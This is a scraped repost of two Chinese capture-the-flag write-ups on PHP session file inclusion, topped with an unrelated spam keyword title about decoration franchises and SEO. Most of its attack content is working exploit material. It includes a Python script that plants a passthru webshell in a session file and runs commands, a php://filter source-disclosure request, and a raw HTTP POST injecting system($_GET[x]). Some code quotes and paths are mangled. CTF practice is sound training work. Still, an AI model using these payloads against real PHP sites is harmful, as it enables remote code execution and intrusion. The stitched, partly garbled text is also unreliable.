当前位置: 首页> 科技> 能源 > 装饰公司加盟费用_公司部门岗位职责_seo排名优化价格_中文搜索引擎有哪些平台

装饰公司加盟费用_公司部门岗位职责_seo排名优化价格_中文搜索引擎有哪些平台

时间:2025/7/14 21:26:39来源:https://blog.csdn.net/asdfaa/article/details/125938565 浏览次数:0次
装饰公司加盟费用_公司部门岗位职责_seo排名优化价格_中文搜索引擎有哪些平台

[题目信息]:

题目名称题目难度
文件包含-session22

[题目考点]:

由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

以PHP为例,常用的文件包含函数有以下四种:
include(),require(),include_once(),require_once()

[Flag格式]:

SangFor{BU919IUdc4N6mqgCNdviZcXGJNPwNkCC}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2098

[题目writeup]:

1、实验主页

2、题解分析

#!/usr/bin/env python
# coding: utf-8

from time import sleep
import requests

url = ‘url’

s = requests.session()

def execute(cmd):
params = {
‘file’: ‘<?php passthru($POST[“cmd”]); ?>’
}
r = s.get(url, params=params)
params[‘file’] = '/tmp/sess
’ + r.cookies[‘PHPSESSID’]

r = s.post(url, params=params, data={'cmd': cmd})
return r.text

print execute(‘cat /flag’)








[题目信息]:

题目名称题目难度
文件包含-session2

[题目考点]:

由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

以PHP为例,常用的文件包含函数有以下四种:
include(),require(),include_once(),require_once()

[Flag格式]:

SangFor{vV0vVtZiLZMUMRUFZHPrAuSuuSH7jris}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2090

[题目writeup]:

1、实验主页

2、题解分析

<?phphighlight_file(__FILE__);error_reporting(0);ini_set('open_basedir', '/var/www/html:/tmp');$file = 'function.php';$func = isset($_GET['function'])?$_GET['function']:'filters'; call_user_func($func,$_GET);include($file);session_start();$_SESSION['name'] = $_POST['name'];if($_SESSION['name']=='admin'){header('location:admin.php');}
?>

分析题目源码,可以看出 $_GET[‘function’] 和 $_SESSION[‘name’] = $_POST[‘name’] 可控

其中 call_user_func($func,$_GET); 回调函数可利用

而且 include($file); 调用了文件包含

所以,可以调用变量覆盖函数,覆盖掉 $file ,从而引入文件包含

?function=extract&file=php://filter/read=convert.base64-encode/resource=./function.php

利用文件包含读到了admin.php和function.php的源码,然而这两个文件源码对解题没有什么帮助。

从index.php可以看出 $_SESSION[‘name’] = $_POST[‘name’] ,session的值可控,session默认的保存位置如下

/var/lib/php/sess_PHPSESSID

/var/lib/php/sessions/sess_PHPSESSID

/var/lib/php5/sess_PHPSESSID

/var/lib/php5/sessions/sess_PHPSESSID

/tmp/sess_PHPSESSID

/tmp/sessions/sess_PHPSESSID

由于 ini_set(‘open_basedir’, ‘/var/www/html:/tmp’) ,我们包含不了 /var/lib/ 下的session

但是我在tmp下也找不到自己的session,所以这里的session应该是在 /var/lib/ 下

这里可以调用session_start函数,修改session的位置

POST /index.php?function=session_start&save_path=/tmp HTTP/1.1
Host: 192.168.17.87:2090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=056395276464d1b4480bc1457efbb106
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

name=<?php echo "aaa";system($_GET[x]);?>

然后进行包含session

/index.php?function=extract&file=/tmp/sess_056395276464d1b4480bc1457efbb106&x=cat+fsadgsdagsadgasd.php

关键字:装饰公司加盟费用_公司部门岗位职责_seo排名优化价格_中文搜索引擎有哪些平台

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

责任编辑: